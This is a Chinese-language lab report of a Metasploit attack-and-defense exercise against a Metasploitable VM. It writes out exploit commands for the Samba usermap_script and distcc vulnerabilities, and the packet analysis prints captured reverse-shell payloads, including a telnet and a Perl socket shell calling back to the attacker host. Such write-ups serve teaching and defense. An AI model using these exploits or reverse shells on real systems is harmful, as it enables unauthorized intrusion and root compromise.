linux操做系統安全防禦

Linux系統攻防對抗實踐

1、實踐內容

  • 在Metasploit滲透攻擊框架軟件中尋找一個針對Linux系統服務的滲透攻擊模塊,在網絡安全攻防實驗環境中部署有漏洞的環境(如滲透利用第三方網絡服務,須要找到並安裝存在特定漏洞的版本),並使用metasploit進行攻擊。html

  • 攻擊方使用Metasploit滲透軟件針對Linux Metasploitable靶機實施網絡攻擊,防護方則在Metasploitatble上使用Tcpdump或Wireshark或Snort工具捕獲攻擊流,並分析出攻擊者利用了哪一個安全漏洞進行攻擊,從官方網站上下載該安全漏洞補丁進行系統修補,雙方合做給出攻防過程報告。linux

    2、實驗環境

  • 爲了完成本次實驗,咱們部署了以下的實驗環境。
  • 攻守雙方使用兩臺筆記本電腦,並將它們直連成爲一個局域網。在攻守雙方的筆記本電腦上部署Vmware Workstation軟件,並分別創建攻擊機、掃描機和防守機。其中攻方使用BackTrack4系統,並輔助使用WinXPattacker進行掃 描;守方使用Ubuntu 8.04-Metasploitable系統。
  • 以下圖,三臺虛擬機使用Bridge方式聯網,攻擊機IP地址192.168.200.10,掃描機IP地址192.168.200.2;防守機IP地址192.168.200.11。shell

3、攻防實踐過程

  • 攻守雙方首先將虛擬機啓動起來,配置好網絡環境並測試網絡通暢後,攻守雙發分別進行接下來的操做。ubuntu

    攻方過程

    漏洞掃描及結果分析

  • 爲了確認防守方系統漏洞,攻方在掃描機上使用X-Scan3.3對防守機進行了一次全面漏洞掃描。安全

  • 其中防守機開啓的服務和具體的漏洞以下,

  • 查看詳細的掃描報告,能夠得知該主機不少重要信息,
    • a) 從139端口能夠獲取該系統主機名爲「METASPLOITABLE」,註釋「metasploitable server (Samba 3.0.20-Debian)」;
    • b) 主機系統中存在許多用戶,共35個,其中被禁止的33個,存活使用用戶user、msfadmin;
    • c) 系統存在弱口令,用戶user、msfadmin密碼與用戶名同樣,使用net use命令可以創建鏈接查看共享資源。ftp開放版本信息 ProFTPD 1.3.1 Server (Debian),user這個用戶在ftp中也可使用;
    • d) telnet服務開放,可肯定該系統爲Ubuntu 8.04,用戶user、msfadmin能夠登陸,並得到相應權限。若是不存在弱口令,經過截獲該telnet數據也能獲取用戶口令。

攻擊方式選擇

  • 根據上面的分析結果,最簡單的攻擊方式就是經過telnet使用user或msfadmin用戶登陸便可,但這樣的攻擊並非咱們的實驗目的,所以咱們暫時忽略系統弱口令的問題,經過第三方軟件的漏洞獲取系統的控制權。

從上面的漏洞掃描能夠看出,防守機的漏洞不少,咱們可使用SMB漏洞、distcc漏洞等進行攻擊。由於SMB是Samba軟件的服務,而Samba服 務是運行在root權限下,因此一旦攻擊成功,將得到權限爲root的shell。咱們本次實驗主要使用SMB漏洞進行攻擊,並嘗試使用distcc漏洞。網絡

攻擊入侵

  • 完成了以上的分析,咱們終於進入了今天的重頭戲,攻擊環節。
  • 在命令行窗口輸入命令
  • msfconsole
  • 將開啓咱們要使用的攻擊工具:metasploit,以下圖,

  • 首先,咱們使用SMB漏洞對防護機進行攻擊,並設定payload爲reverse(在沒有防火牆的狀況下,選擇任意的shell payload都是能夠的,本實驗的payload是任意選取的),依次輸入以下命令,使用SMB漏洞對防守機進行攻擊,

use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit框架

  • 以下圖,攻擊後成功的得到了一個root權限的shell,攻擊成功!

  • 斷開當前的鏈接,依次輸入以下命令,使用distcc漏洞進行攻擊。

back
use exploit/unix/misc/distcc_exec
set payload cmd/unix/reverse_perl
set rhost 192.168.200.11
set lhost 192.168.200.10
exploittcp

以下圖,攻擊成功後出現一個可使用的shell,可是沒有root權限。工具

但繼續輸入命令時卻沒有反應,後證明是被防守方人爲中斷了。
爲了使用更高權限的命令,咱們須要root權限的shell。所以再次使用SMB漏洞進行攻擊。在命令行下輸入以下命令,測試

back
use exploit/multi/samba/usermap_script
set payload cmd/unix/reverse
set rhost 192.168.200.11
set lhost 192.168.200.10
exploit

  • 而後在得到的shell中輸入reboot命令,以下圖,

  • 這時,防守機系統重啓了,攻擊成功!

守方過程

  • 防守機上觀察到的攻擊跡象
  • 在防守機啓動以後,當即使用以下命令抓取系統接收和發送的報文,並將結果保存到result.cap文件中。

sudo tcpdump –s 00 –w result.cap &

  • 而後等待一段時間後,使用以下命令查看系統進程,

ps –e | more

  • 發現數個可疑的telnet進程,後來證明其爲攻擊時使用的shell。以下圖,

  • 果斷將telnet進程殺掉。但隨後不久,收到一個來自用戶root的消息,機器便重啓了……

報文分析

  • 爲了弄清楚重啓的真正緣由。當機器重啓以後,果斷斷網。導出抓取的報文文件,並使用wireshark進行分析。
  • 簡單的查看抓取到的報文,在短短的30分鐘內,一共有128768個報文。如此巨量的報文中,絕大多數報文都是成片的同一種協議的報文,以下圖,

所以能夠判定,攻擊機正在進行掃描,而真正的攻擊應該在最後。從後向前查看報文內容發現,倒數第二條報文是一個TCP數據包,其中報文的內容是正是reboot!能夠判定正是這條命令致使了系統重啓。

通過對報文仔細的分析,能夠肯定的攻擊有三次,分別以下圖所示,其中攻擊的漏洞和攜帶的攻擊腳本分別爲,

漏洞名稱 相關網址 攻擊腳本 執行的命令
SMB漏洞 CVE-2007-2447 http://www.samba.org/samba/security/CVE-2007-2447.html nohup sh -c ‘(sleep 4495 telnet 192.168.200.10 4444
Distcc漏洞 CVE-2004-2687 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2004-2687 perl -MIO -e ‘$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,」192.168.200.10:4444」);STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;’ idusers
同第一個 同第一個 同第一個 idreboot

漏洞修補

  • 因爲防守機是ubuntu系統,因此很容易將軟件升級到最新版本。在命令行執行以下命令,

sudo apt-get update
sudo apt-get install samba

  • 或者將相應的服務禁掉,

sudo /etc/init.d/samba stop
sudo /etc/init.d/distcc stop

  • 可是升級distcc時會提示沒有更新的版本,到其官網上下載最新版本,卸載舊版本並安裝後能夠修補漏洞。

4、攻防實踐總結

實踐中遇到問題和總結的經驗,

  • 攻方
    • a) 漏洞選擇,由於有文檔指出Metasploitable靶機存在的漏洞,因此在這個方向上能夠減小攻擊過程當中嘗試的漏洞;
    • b) 若是得到的shell權限不是root級別的,須要繼續使用本地溢出進行提權,本人對這些漏洞信息掌握不多。
  • 守方
    • a) 抓取的報文數量巨大,從中找出有用的信息比較困難。
    • b) 從攻擊的過程當中推測被利用的漏洞必須具有至關的背景知識,而且須要熟練運用搜索引擎和官方網站。
相關文章
相關標籤/搜索